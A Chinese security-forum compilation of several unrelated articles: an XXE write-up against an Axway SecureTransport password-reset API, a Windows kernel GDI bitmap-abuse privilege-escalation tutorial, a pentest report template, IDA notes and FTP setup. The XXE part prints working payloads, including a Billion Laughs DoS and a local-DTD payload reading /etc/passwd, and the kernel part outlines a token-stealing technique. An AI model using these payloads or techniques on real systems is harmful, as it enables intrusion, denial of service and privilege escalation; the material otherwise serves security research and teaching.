var msg = $.tmpl('<p>${m1}</p><p>${m2}</p>', {
m1: _('Your request is now submitted.'),
m2: message
});
errorPlaceholder.success(msg);
}
});
简单阅读代码，显然可以看出我们可以发送密码重置邮件（无需身份验证）。还可以看到，在 _XMLHttpRequest_
中ContentType被设置为XML，并且用XML数据存储var参数。
这给我们提供了一个很好的攻击模版，我们可以发送一些有效的XML数据。管理员禁用了忘记密码选项，这就是我们看不到它的原因。但是这是完全无效的，因为程序只是从UI层面禁用了它。
打开Burp进行一些快速测试。发送请求`https://placeholder/api/v1.0/myself/resetPassword`（GET方式），拦截SecureTransport的请求。响应如下：
很明显，通过报错可知，服务器要求提供Referer标头并且对其进行检查是否属于白名单。Ok，将Referer设置为`localhost`，便可轻松绕过。
设置好Referer标头后，接下来尝试发送POST请求，看看会发生什么。
服务器返回错误信息：
{
"message" : "javax.xml.bind.UnmarshalException
- with linked exception:
[org.xml.sax.SAXParseException; Premature end of file.]"
}
该错误信息通常表示服务器尝试解析一个空的XML文档。逐步测试，先随便插入一个标签`<test>`，看看反映：
这次服务器返回的报错信息为：
{
"message" : "javax.xml.bind.UnmarshalException:
unexpected element (uri:"", local:"test").
Expected elements are <{}resetPassword>"
}
很明显，服务器希望收到`<resetPassword></resetPassword>`元素，让我们进一步测试看看会发生什么。
从图片可以看到，还需要发送`email`标签。我们在payload里添加`email`标签，并且在顶部添加XML声明，看看会怎样。
<?xml version="1.0" encoding="UTF-8"?>
<resetPassword>
<email>[email protected]</email>
</resetPassword>
服务器给出响应204...
因为响应没有任何错误，所以我们现在可以确定XML被成功地解析。我之前不相信这点，然而当我在表单中插入有效的email时，服务器反馈的也是204响应。
但不好的一点是，服务器没有反馈出任何有效内容，这意味着我们要盲目探索。好的一点是，当外部实体或dtd声明被禁用时，SAXParser会抛出异常。我们可以综合这两点来确认漏洞，摸索前进。
## 0x03 确认漏洞
我们可以随意发送XML数据给服务器，并且服务器将处理这些数据。 考虑到服务器易受XML注入影响，我们还可以尝试带入外部实体。
现在尝试定义一些实体，看看会发生什么。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
<email>&exists;&doesnt;</email>
</resetPassword>
{
"message" : "javax.xml.bind.UnmarshalException
- with linked exception:
[org.xml.sax.SAXParseException; lineNumber: 6;
columnNumber: 25; The entity "doesnt"
was referenced, but not declared.]"
}
通常如果正确配置了文档类型，将触发异常。如果用户使用的是受限的URI
hander（http，ftp，gopher和file），SAXParser也会发生异常，但我没有测试它们。
## 0x04 利用漏洞
因为服务器不会返回有效内容，所以我们只能尝试基于报错的XXE或out-of-band XXE。但是在我们测试时，发现Axway
SecureTransport似乎安装了某种防火墙，隔绝了所有向外部发出的请求，这使得利用传统XXE攻击方式更加困难。
基于这一点，我的想法是通过Blind-SSRF或加载本地系统上自带的的DTD文件，然后结合Payload内容触发错误。
但是我没有License，拿不到源代码，无法做白盒审计，所以无法映射出内部的攻击。这个漏洞虽然存在，但有一些限制。
### 0x04.1 SSRF Payload
XXE漏洞非常有意思，因为它可以反映出各种安全问题。最常见的XXE攻击是通过发送服务端请求来攻击内部服务。
### 0x04.2 DoS攻击 Payload
这个软件还易受DoS攻击。在2002年，媒体报道了Billion Laughs攻击事件。 Billion
Laughs攻击会使得服务器加载大量实体，耗尽资源然后崩溃。
这种攻击有几个变体，非常有创意 :)
我在维基百科上找到了下面这个payload：
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
### 0x04.3 利用本地DTD
另一种相对较新颖的技术是本地DTD再利用。目前人们通常都会使用这个技术来绕过XXE攻击的一些限制。通过该技术，我们可以重新定义本地文件系统中已经存在的DTD实体。然后，我们可以成功地让应用程序发生错误。
举个例子，下面是一个DTD再利用攻击的payload：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<resetPassword></resetPassword>
确实，这很有创意。
## 0x05 小结
如果读者想要了解攻击Axway
SecureTransport软件，那么参考本文的漏洞可以帮助你。DTD再利用是一种较新颖的攻击技术，估计在不久之后由于XML解析器和防火墙的完善，我们可以看到更多新鲜的攻击方式。很遗憾没有License，这使我在进一步测试时非常不舒服，我只能测试网络上的目标。
那么各位，请享受0day。 | 社区文章 |
## 前言
Hello, 欢迎来到`windows kernel explot`第五篇. 在这一部分我们会讲述从windows
7到windows的各主流版本的利用技巧(GDI 对象滥用). 一共有两篇, 这是上篇.
[+] 从windows 7到windows 10 1607(RS1)的利用
[+] windows 10 1703(RS2)和windows 1709(rs3)的利用.
这篇文章的起源来源于我在当时做[第三篇博客]()的时候, 卡在了分析的点, 然后当时开始陷入自我怀疑, 分析和利用究竟哪一个重要一点. 于是,
我把第三篇博客的那个洞就先放了下,
在[github](https://github.com/redogwu)上面更新了[一个项目](https://github.com/redogwu/windows_kernel_exploit).
保证我在windows的主流平台上都能掌握至少一种方法去利用.
学习的过程采用的主要思路是`阅读peper`和`参考别人的代码实现`, 调试来验证观点. 所以你能看到项目的代码是十分丑陋的, 所以请不要fork...
会有一点点愧疚 :)
项目目前更新到了`RS3`, 所以接下来准备的工作是:
[+] 完成RS4和RS5的学习(有相关的的思路, 还未来得及验证)
[+] 完成注释和丑陋代码的修缮
希望能够对您有一点小小的帮助 :)
## 缓解措施的绕过
如果你有阅读过我的[系列第二篇](https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-2/)的话, 你应该能够知道`write-what-where`在内核当中的妙用,
[`rootkits老师`](https://rootkits.xyz/blog/2017/09/kernel-write-what-where/)在他的个人博客里面有给出一个相当详细的介绍. 所以在这里我就不再赘述.
我们来回顾一下第二篇的内容:
[+] 利用漏洞构造write-what-where
[+] 使用write-what-where替换掉nt!haldispatchTable+8
[+] 替换的时候不直接替换成Shellcode. 替换使程序执行ROP流, 绕过SMEP
[+] 执行shellcode.
==> 找到SYSTEM TOKEN VALUE
==> 找到user process TOKEN addr
==> mov [user process TOKEN addr], VALUE
[+] 提权验证.
可以看到, 我们的思路是在内核当中执行我们的`shellcode`, 实现提权. 然后想在内核当中执行shellcode, 就需要绕过各种缓解措施. 那么,
如果我们能够在用户层次实现`shellcode`的功能, 是不是就不需要绕过那么多的缓解措施呢.
答案是肯定的(说来这是我刚刚开始做内核就有的一个猜想...)
我们一开始的假设是我们有任意的写能力(`write-what-where`),
在项目当中我使用了[HEVD](https://rootkits.xyz/blog/2017/09/kernel-write-what-where/)模拟.
所以我们解决了:
mov [user process TOKEN addr], SYSTEM TOKEN VALUE
这条指令, 现在的关键点还差下面得两个语句.
[+] 找到`SYSTEM TOKEN` VALUE
[+] 找到`USER PROCESS TOKEN`
### 找到SYSTEM TOKEN VALUE
我们知道我们要找到一个东西的`值`, 首先需要找到其`地址`. 所以让我们先来找找`SYSTEM TOEKN`的地址.
我参考了[这里](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)给出的解释, 但是不慌,
让我们先一步一步的来, 先不管三七二十一, 最后再来验证他.
#### 第一步: 找到Ntoskrnl.exe基地址
先来看微软给的一个API函数.
这个函数可以帮我们检索内核当中的驱动的地址. 于是我们依葫芦画瓢. 创建下面的代码.
需要注意的是, 上面的代码的测试环境我是在`windows 10 1803`版本做的, 针对`windows
1803`以下的版本是同样成立的(当然包括本小节的windows 7- window8.1). 你知道的, 我是一个懒得截图的人 :)
接着做点小小的修改. 会得到下面的结果:
我们可以看到我们找到了`ntoskrnl.exe`的基地址. 那么`ntoskrnl.exe`是啥呢.
[+] Ntoskrnl.exe is a kernel image file that is a fundamental system component.
我们可以看到`Ntoskrnl.exe`包含是一个内核程序, 期间包含一些有趣的信息.
比如 :)
#### 找到PsInitialSystemProcess
我们可以看到`PsInitialSystemProcess`存放一个指针, 其指向`EPROCESS LIST`的第一个项(也就是我们的SYSTEM
EPROCESS). 我们可以利用我们在[第二篇]()当中获取nt!HalDispatchTable的思路来获取它.
代码如下:
#### 调试器的验证结果
现在问题就来了, 我们成功的找到了存放`SYSTEM EPROCESS`的地址放在那里, 但是我们却没有办法去读取他(`xxx`区域属于内核区域).
我们对内核只有写的权限, 那么我们怎么通过写的权限去获取到读的权限呢. 于是我们的`bitmap`闪亮登场 :)
## BITMAP 的基本利用
我们来讲一下bitmap的利用思路之前, 先回顾我们在上一篇的内容当中, 已经成功的get到了如何泄露`bitmap`地址的能力(你看我安排的多么机智).
所以让我们借助上一篇的代码泄露一个`bitmap`观察一一下它的数据.
上面那张图看着有点蒙? 没事的, 让我们先来看看再`内核`当中`bitmap`对应的结构体.
typedef struct{
ULONG64 dhsurf; // 8bytes
ULONG64 hsurf; // 8bytes
ULONG64 dhpdev; // 8bytes
ULONG64 hdev; // 8bytes
SIZEL sizlBitmap; // 8bytes
// cx and cy
ULONG64 cjBits; // 8bytes
ULONG64 pvBits; // 8bytes
ULONG64 pvScan0; // 8bytes
ULONG32 lDelta; // 4bytes
ULONG32 iUniq; // 4bytes
ULONG32 iBitmapFormat; // 4bytes
USHORT iType; // 2bytes
USHORT fjBitmap; // 2bytes
} SURFOBJ64
你可以对照着我给的截图当中的彩色部分, 是我们的关键数据. 蓝色的第一个对应`pvBits`第二个对应`pvScan0`. 那么,
`pvScan0`有什么用呢.
pvScan0的作用在bitmap的利用当中尤其重要, 所以我用笨蛋的方法来说明它.
[+] pVscan0指向我们的pixel data. 在CreateBitmap参数当中通过第五个参数传入.
[+] pvScan0如果是fffff901`41ffdb88. 那么pixel data(上面的代码样例是"aaaa")就放在fffff901`41ffdb88.
##### 验证
而微软的另外两个API在本例当中也相当重要, 我们来看一下.
他们的作用是.
[+] SetBitMapBits(GetBitmaps)向pvScan0指向的地址写(读)cb byte大小的数据.
所以如果我们假设能够篡改某个(术语 worker bitmap)`bitmap`的`pvScan0`的值为任意的值的话,
我们就能获取向任意地址`读`和`写`的权限.
如果你能懂上面那一句话就太好了, 不懂的话让我们通过一个实验来一步一步理解它.
### 第一步
第一步让我们先来看一份代码, 代码已经更新到我的github上,
你可以在[这里](https://github.com/redogwu/windows_kernel_exploit/tree/master/windows_8/blog_test_win8.1)找到它同步实验.
看不懂没有关系的, 没有什么比调试器更能帮我们理解代码了. 先来看在运行了这份代码之后, 发生了写什么神奇的事.
### 第二步.
在这里我们通过上一篇当中的`bitmap地址泄露`找到了`manager`的`pvScan0`的地址.和`worker`的`pvScan0`的地址.
聪明的你一定能根据前面的结构体明白0x60指的是pvScan0的地址 :)
### 第三步.
第三步我做了两件事, 第一个单步运行到`write_what_where`函数里面. 你可以里面发现什么都没有.
于是我借助于调试器模拟了一次`write_what_where`.
[+] 替换manager的pvSca0的内容为worker的pvScan0的地址.
接着我们就可以进行任意读写了. 运行之后就得到了上面的提权. 是不是感觉有点飘.
让我们来分析一下(我比较建议您单步进入WriteOOB函数和ReadOOB观察数据变化, 我比较懒...)
### 第四步: 任意读
在上面的替换之后(第三步). 我们可以得到我们的manager.pvScan0指向worker.pvScan0. 由上面的截图我们知道.
[+] manager.pvScan0 ==> fffff901`407491e0
[+] worker.pvScan0 ==> fffff901`40667cf0
实现了这个之后让我来看看实现任意读呢, 让我们来看看我们的源码:
我们假设我们要将`0x4000`的内容读取出来, 那么`readOOB`会进行下面的操作.
[+] SetBitmapBits的时候, 向manager.Pvscan0存放的地址(A)出写入0x4000
[+] 地址(A)即为worker.pvScan0的地址.
[+] 现在worker.pvScan0存放的地址为0x4000
[+] 调用GitBitmapBits能获取0x4000处的内容
### 第五步: 任意写
写的操作和读的内容是差不多的, 所以我原封不动的COPY了一份上面的内容, 稍微做了点修改.
我们假设我们要将`0x4000`的内容写入值1, 那么`readOOB`会进行下面的操作.
[+] SetBitmapBits的时候, 向manager.Pvscan0存放的地址(A)出写入0x4000
[+] 地址(A)即为worker.pvScan0的地址.
[+] 现在worker.pvScan0存放的地址为0x4000
[+] 调用SetbitmapBits能对0x4000处的内容进行写操作.
[韩国的有位师傅](http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/)对流程做了一个流程图. very beautiful!!!
### 第六步: 替换Token
第六步我们发现其实和我们系列一的内容是极其相似的. 只是利用在用户层(我们已经有了任意读写的能力)用`c++`实现了汇编的功能. 在这里就不再赘述.
你可以阅读我的[系列第一篇](https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/)获取相关的信息.
## 总结
在这一篇当中我们讲述了在`windows 7. 8 . 8.1 1503 1511`下利用`bitmap`实现任意读写的主体思路,
而在接下来的下半部分的文章当中. 我们会讲述在windows 10后期的不同版本当中`GDI`的滥用.
也会介绍为什么我们在本篇的方法会什么会在windows 10后期的版本为什么会失效的原因. 敬请期待 :)
## 相关链接
[+] sakura师父的博客: http://eternalsakura13.com/
[+] 小刀师傅的博客: https://xiaodaozhi.com/
[+] SUFOBJECT64: http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/
[+] 我参考的所有资料的PDF: https://redogwu.github.io/
[+] 我的个人博客: https://redogwu.github.io/
[+] 我的github上面的那个项目: https://github.com/redogwu/windows_kernel_exploit
[+] 做实验所需要的代码: https://github.com/redogwu/windows_kernel_exploit/tree/master/windows_8/blog_test_win8.1
## 后记
博客截图好累啊 :)
最后, wjllz是人间大笨蛋. | 社区文章 |
## 渗透报告
### 前言
本文档旨在定义渗透测试报告的基本标准。
虽然高度鼓励使用自己的定制和品牌格式，但以下内容应提供对报告中所需项目的高层次理解以及报告结构，以便为读者(客户)提供价值。
报告是渗透测试中最重要的一环。 您将使用报告来传达您所做的事情，说明您是如何做到的，最重要的是，让你所测试机构知道应如何修复渗透测试期间发现的漏洞。
### 报告结构
报告分为两个主要部分，以向不同的受众介绍测试的目标，方法和结果。
### 执行摘要
本部分将向读者(客户)传达渗透测试的具体目标和渗透测试的高级结果。目标受众是那些负责安全方案的监督的人员以及可能受到威胁的组织中的任何成员。执行摘要应包含大部分以下部分：
* 背景：
背景部分应向读者(客户)解释渗透测试的总体目的。
测试部分确定的风险，对策和渗透测试有关的术语的详细信息应该提供给读者(客户)，以使读者(客户)了解整体的渗透测试和相关结果。
整体来说这个领域将是展现测试的整体效果和渗透测试师实现先前会议中提出的目标的能力的叙述。 对测试过程确定的系统性问题（例如系统性问题--缺少有效的补丁=找到的MS08-067）进行简要描述，以及实现对目标信息的访问和识别 对业务的潜在影响。
### 风险排名/资料
整体风险排名/概况/分数将在这个区域被识别和解释。 在预备阶段，Pentester将确定评分机制和追踪/分级风险的个体机制。
FAIR，DREAD和其他自定义排名中的各种方法将被合并到环境分数中并进行定义。
（客户）的`总体风险评分`目前是七（7）。 这个评级意味着安全控制的风险会随着潜在的重大财务损失而受到损害。
顾问根据一个高风险和几个中等风险漏洞确定了这个风险评分，并且定向攻击的成功。
识别出的最严重的漏洞是在面向企业公开的网站上存在默认密码，该密码允许访问许多敏感文档并能够控制设备上的内容。
此漏洞可能导致用户帐户被盗，敏感信息泄露或完全系统泄露。 几个较小的严重漏洞可能导致盗窃有效的帐户凭证和泄露信息。
_总体发现：_
一般调查结果将提供基本和统计格式的渗透测试中发现的问题的概要。
测试目标用图形表示，测试结果，过程，攻击情景，成功率以及在测试前会议中定义的其他可测量指标应该存在。 此外，问题的原因应该以易于阅读的格式呈现。
（例如，显示被利用问题的根本原因的图表）
这一领域还应包括描述环境内对策有效性的指标。 （例如，我们运行了x次攻击和IPS拦截了y，其他对策也应该具有相似的设计和效果指标。）
**推荐摘要：**
报告的建议部分应使读者(客户)高度了解和解决所确定的风险所需的任务，以及实施解决方案建议所需的一般工作量。
本节还将确定用于优先考虑后续路线图顺序的权重机制。
### 战略路线图
路线图应该包括一个优先计划，用于修复发现的不安全物品，并且应该根据商业目标/潜在影响水平来衡量。 本节应直接映射到已确定的目标以及PTES-Threat建模部分中创建的威胁矩阵。 通过分解为预定义的时间/目标为基础的目标，本节将创建一个行动的路径，以不同的增量。 例：
### 技术报告
本部分将向读者(客户)传达测试的技术细节以及商定前的所有方面/内容，作为参与前活动的关键成功指标。
技术报告部分将详细描述测试的范围，信息，攻击路径，影响和修复建议。
_介绍：_
技术报告的引言部分旨在作为初步清单：
> 渗透测试团队的测试
> 联系信息
> 涉及测试的资产
> 测试的目的
> 测试范围
> 测试的强度
> 途径
> 威胁/分级结构
本部分应作为测试涉及的具体资源和测试的总体技术范围的参考。
#### 信息收集：
情报收集和信息评估是良好渗透测试的基础。测试人员对环境的了解越多，测试的结果就越好。在本节中，应编写若干项目，向客户展示通过执行PTES情报收集阶段可获得的公共和私人信息的范围。至少，确定的结果应该分为4个基本类别：
##### 被动情报：
从间接分析收集到的情报，如DNS，谷歌IP /基础设施相关信息。本节将重点介绍用于在CLIENT环境中剖析技术的技术，而不直接向资产发送任何流量。
##### 主动收集：
本节将介绍基础架构映射，端口扫描，体系结构评估等脚步打印活动的方法和结果。本节将重点介绍通过直接向资源发送流量来在CLIENT环境中分析的技术。
##### 企业情报：
有关组织结构，业务单位，市场份额，垂直和其他企业职能的信息应该映射到业务流程和先前确定的被测试的实物资产。
##### 人员情报：
在情报收集阶段发现的将用户映射到CLIENT组织的任何和所有信息。本部分应显示用于收集情报的技术，例如公共/私人员工仓库，邮件储存库，组织结构图和其他导致员工/公司联系的项目。
##### 漏洞评估：
漏洞评估是识别TEST中存在的潜在漏洞和每个威胁的威胁分类的行为。在本节中，应该提供用于识别漏洞的方法的定义以及漏洞的证据/分类。另外这个部分应该包括：
* 漏洞分类级别
* 技术漏洞
* OSI层漏洞
* 扫描器的发现
* 手动识别
* 整体公开
* 逻辑漏洞
* 非OSI漏洞
* 漏洞的类型
* 如何/在哪里找到
* 公开的
* 结果摘要
* 开发/漏洞确认：
利用漏洞或漏洞确认是触发前面部分中确定的漏洞以获得对目标资产的特定访问级别的行为。本节应详细回顾为确认定义的漏洞所采取的所有步骤以及以下内容：
* 渗透时间表
* 选定的渗透目标
* 渗透活动
* 定向攻击
* 目标主机无法被利用
* 目标主机能够被利用
* 个人主机信息
* 进行攻击
* 攻击成功
* 访问级别授予+升级路径
* 整理
* 漏洞部分参考
* 额外的缓解技术
* 补偿控制建议
* 间接攻击
* 网络钓鱼
* 时间表/攻击细节
* 确定目标
* 成功/失败比率
* 授予访问级别
* 客户端
* 时间表/攻击细节
* 确定目标
* 成功/失败比率
* 授予访问级别
* 浏览器端
* 时间表/攻击细节
* 确定目标
* 成功/失败比率
* 授予访问级别
#### 后渗透
所有测试中最关键的项目之一是与正在测试的客户端的实际影响的联系。虽然上面的章节中介绍了漏洞的技术性质和成功利用漏洞的能力，但是后渗透部分应该将开发能力与业务的实际风险联系起来。在这个领域，应该通过使用截图，丰富的内容检索以及真实世界特权用户访问的例子证明以下几点：
* 权限升级路径
* 使用的技术
* 获取由客户定义的关键信息
* 信息的价值
* 访问核心业务系统
* 访问合规性保护的数据集
* 附加信息/系统访问
* 持久的能力
* 能力渗透
* 对策有效性
本节应涵盖范围内系统的对策措施的有效性。其中应包括有效（主动）和被动（被动）对策部分，以及在测试阶段触发的任何事件响应活动的详细信息。有效抵制评估活动的对策列表将有助于客户更好地调整检测系统和流程，以处理未来的入侵企图。
* 检测能力
* FW/WAF/IDS/IPS
* 人
* DLP
* 日志
* 响应和有效性
**风险：**
一旦通过后渗透确认存在的漏洞对业务的直接影响进行评估，就可以进行风险量化。在本节中，上述结果与预先接触部分的风险值，信息危急程度，企业评估以及派生的业务影响相结合。这将使客户能够识别，可视化并通过测试找到的漏洞获利，并有效地加强对客户业务目标的解决方案。本节将涵盖以下小节中的业务风险：
* 评估事件频率
* 可能的事件频率
* 估计威胁能力（从3 - 威胁建模）
* 估算控制强度（6）
* 复合漏洞（5）
* 所需技能水平
* 需要访问级别
* 估算每个事件的损失量
* 主要损失
* 二次损失
* 识别风险根源分析
* 根本原因永远不是一个补丁
* 识别失败的进程
* 导出风险
* 威胁
* 漏洞
* 交叠
* 结论：
最后的测试概述。建议本部分回显整个测试的部分内容，并支持CLIENT安全状态的增长。应该以积极的方面结束，提供支持和指导，使安全方案能够取得进展，未来的检测/安保活动也将取得进展。
#### 参考链接
<http://www.pentest-standard.org/index.php/Reporting>
<https://github.com/juliocesarfort/public-pentesting-reports>
<https://www.offensive-security.com/reports/sample-penetration-testing-report.pdf>
## 逆向工程
### IDA
#### 插件选项
-O 命令行参数允许用户将设置传递给插件。
一个使用设置的插件会调用get_plugin_options()函数来获得参数。
由于可能有独立编程人员编写的插件，每个插件的设置都需要单独加上-O前缀
例如，一个名为“decomp”的插件规定它的参数具有以下格式：
`-Odecomp:option1:option2:option3`
在这种情况下，get_plugin_options("decomp")将返回选项字符串的"option1：option2：option3"部分。
如果在命令行中存在多个-O参数，那么它们会被之间的"："连接起来。
#### `函数名`窗口
“Name”窗口提供二进制文件中所有全局名称的摘要列表。
函数名就是对程序虚拟地址的符号描述。
（译者注：指的是View-Open Subviews-Names窗口，也可通过快捷键Shift+F12打开）
IDA最初在文件的初始加载过程中从符号表和签名分析中导出名称列表。
名称可以按字母顺序排列，也可以按虚拟地址顺序（升序或降序）排序。
“名称”窗口对于快速导航到程序列表中的已知位置非常有用。
双击任何名称窗口条目将立即跳转反汇编视图显示选定的名称。
显示的名称会被调整为不同的颜色和字母。
方案概述如下：
> F 常规功能。这些是IDA不能识别为库函数的功能。
>
> L 库函数 IDA通过使用签名匹配算法识别库函数。
> 如果给定的库函数不存在签名，则该函数将被标记为常规函数。
>
> I 导入的名称，通常是从共享库导入的函数名称。
> 这和库函数的不同之处在于，导入的名称不存在任何代码，而库函数的主体将出现在反汇编中。
>
> C 无名代码（Named code）。IDA不认为这些代码是某个函数的一部分。
> 当IDA在程序的符号表中找到了一个函数名，但是却没有发现对该函数的调用时，就会把他们判定为无名代码。
>
> D 数据。命名的数据位置通常代表全局变量。
>
> A 字符串数据。这是一个引用的数据位置，包含一系列符合IDA已知字符串数据类型的字符序列，例如以空字符结尾的ASCII C字符串。
#### 命令行模式
可以使用以下命令之一启动IDA：
idaq input-file（所有平台：启动图形界面）
idaw input-file（Windows：启动文本界面）
idal input-file（Linux / Mac：启动文本界面）
将“64”后缀添加到命令名称中，以启动64位版本的IDA。例如：
idaq64 input-file
将启动64位图形界面。
命令行的参数包括以下几种：
-a 禁用自动分析
-A 自主模式。 IDA不会显示对话框。
设计与-S开关一起使用。
-b + #### 加载地址。后加上一个十六进制的数字。（中间无空格，下略）
-B 批处理模式。 IDA将自动生成.IDB和.ASM文件
-c 反汇编新文件。（删除旧数据库）
-d + directive
指示首要加载的配置。
例如:
-dVPAGESIZE=8192
-D + directive
指示次要加载的配置。
-f 禁用FPP指令 (仅在IBM PC下可用)
-h 帮助页面
-i + #### 程序入口点（十六进制）
-I + #将IDA设置为即时调试器（0禁用，1启用）
-L + #### 指定log的文件名
-M 禁用鼠标（仅限文本）
-O + #### 传递给插件的选项
-o + #### 指定输出数据库（隐含-c）
-p + #### 指定处理器类型
-P+ 压缩数据库（创建压缩的IDB）
-P 打包数据库（创建未压缩的IDB）
-P-不打包数据库（不要重新编译，看Abort命令）
-r + ### 立即运行内置的调试器（格式在###中设置）
-R 加载MS Windows exe文件资源
-S### 数据库打开时执行脚本文件。
脚本文件扩展名用于确定哪个extlang将运行脚本。
可以在脚本名称之后传递命令行参数。
例如：
-S"myscript.idc argument1 \"argument 2\" argument3"
传递的参数存储在“ARGV”全局IDC变量中。
使用“ARGV.count”来确定参数的数量。
第一个参数“ARGV [0]”包含脚本名称
-T### 将输入文件作为指定的文件类型解释
在“加载文件”对话框中可见
-t 创建一个空的数据库文件
-W### 指定MS Windows目录
-x 不要创建分段
（与Dump数据库命令配对使用）
此开关仅影响EXE和COM格式文件。
-z debug:
00000001 drefs
00000002 offsets
00000004 first
00000008 idp module
00000010 idr module
00000020 plugin module
00000040 ids files
00000080 config file
00000100 check heap
00000200 checkarg
00000400 demangler
00000800 queue
00001000 rollback
00002000 already data or code
00004000 type system
00008000 show all notifications
00010000 debugger
00200000 Appcall
00400000 source-level debugger
-? 适用于下一个版本
? 适用于下一个版本
对于批处理模式，必须使用以下命令行调用IDA：
idaq -B input-file
相当于
idaq -c -A -Sanalysis.idc input-file
文本界面（idaw.exe / idal）更适合批处理模式，因为它使用较少的系统资源。
但是，请注意，常用插件不会自动加载到批处理模式，因为analysis.idc文件会退出，内核没有机会加载它们。
有关更多信息，请参阅IDC子目录中的analysis.idc文件。
#### 主要功能
IDA是一个交互式反汇编程序。用户可以主动参与反汇编过程。
它不能自动分析程序，而是向你提示可疑的地方，未解决的问题等。
而你的工作就是指挥IDA进行分析。
如果你第一次使用IDA，下面是一些你会发现非常有用的命令：
> 转换为指令（Code）：热键是“C”
> 转换为数据（Data）：热键是“D”
所做的所有更改都保存到磁盘
（译者注：即.idb数据库文件。IDA不会对原程序做任何改动。除非使用Patch Program插件）。
当您再次运行时，IDA会从磁盘读取被分析文件的所有信息，以便可以继续您的工作。
（译者注：同样指的是.idb数据库文件，无论原程序被改动甚至是删除都不影响）
CODE:00401000 6A 00 push0
CODE:00401002 E8 64 02 00 00callGetModuleHandleA ; Call Procedure
按下D，你会看到：
CODE:00401000 6A 00 push0
CODE:00401000 ;
--------------------------------------------------------------------------- CODE:00401002 E8db 0E8h
CODE:00401003 64db 64h ; d
CODE:00401004 02db2
CODE:00401005 00db0
CODE:00401006 00db0
CODE:00401007 ;
---------------------------------------------------------------------------
逆向的不是很友好，只有ida的介绍使用，建议大家去ctf-wiki里面看看re这块的。
## 快速搭建系统服务
### 如何快速设置FTP服务器
请用pip或easy_install安装pyftpdlib。
sudo easy_install pysendfile
sudo easy_install pyftpdlib
或者
sudo pip2 install pysendfile
sudo pip2 install pyftpdlib
如果您已经成功安装了pyftpdlib，请按以下步骤启动：
root@lab:/tmp/pyftpdlib# python -m pyftpdlib -w -p 21
pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2016-03-06 10:00:11] >>> starting FTP server on 0.0.0.0:21, pid=2090 <<<
[I 2016-03-06 10:00:11] concurrency model: async
[I 2016-03-06 10:00:11] masquerade (NAT) address: None
[I 2016-03-06 10:00:11] passive ports: None
[I 2016-03-06 10:00:40] 192.168.1.103:52874-[] FTP session opened (connect)
[I 2016-03-06 10:00:40] 192.168.1.103:52874-[anonymous] USER 'anonymous' logged in.
[I 2016-03-06 10:00:45] 192.168.1.103:52874-[anonymous] FTP session closed (disconnect).
[I 2016-03-06 10:01:42] 192.168.1.101:49312-[] FTP session opened (connect)
[I 2016-03-06 10:02:12] 192.168.1.101:49312-[] FTP session closed (disconnect).
[I 2016-03-06 10:02:24] 192.168.1.101:49313-[] FTP session opened (connect)
[I 2016-03-06 10:02:31] 192.168.1.101:49313-[anonymous] USER 'anonymous' logged in.
[I 2016-03-06 10:06:28] 192.168.1.101:49313-[anonymous] RETR /tmp/pyftpdlib/setup.py completed=1 bytes=5183 seconds=0.004
[I 2016-03-06 10:07:29] 192.168.1.101:49313-[anonymous] FTP session closed (disconnect).
[I 2016-03-06 10:08:11] 192.168.1.104:1033-[] FTP session opened (connect)
[I 2016-03-06 10:08:17] 192.168.1.104:1033-[anonymous] USER 'anonymous' logged in.
[I 2016-03-06 10:10:43] 192.168.1.104:1033-[anonymous] FTP session closed (disconnect).
### Windows FTP控制台客户端：
C:\Documents and Settings\test\Desktop>ver
Microsoft Windows XP [Version 5.1.2600]
C:\Documents and Settings\test\Desktop>ftp 192.168.1.103
Connected to 192.168.1.103.
220 pyftpdlib 1.5.0 ready.
User (192.168.1.103:(none)): anonymous
331 Username ok, send password.
Password:
230 Login successful.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
.ci
.coveragerc
.git
...
您也可以使用其他客户端，例如：ncftp。
### Twistd
如何用Twisted启动一个ftp服务器。
root@lab:/tmp# twistd -n ftp --help
Usage: twistd [options] ftp [options].
WARNING: This FTP server is probably INSECURE do not use it.
Options:
-p, --port= set the port number [default: 2121]
-r, --root= define the root of the ftp-site. [default:
/usr/local/ftp]
--userAnonymous= Name of the anonymous user. [default: anonymous]
--help Display this help and exit.
--help-auth-type= Show help for a particular authentication type.
--auth= Specify an authentication method for the server.
--password-file= Specify a file containing username:password login info
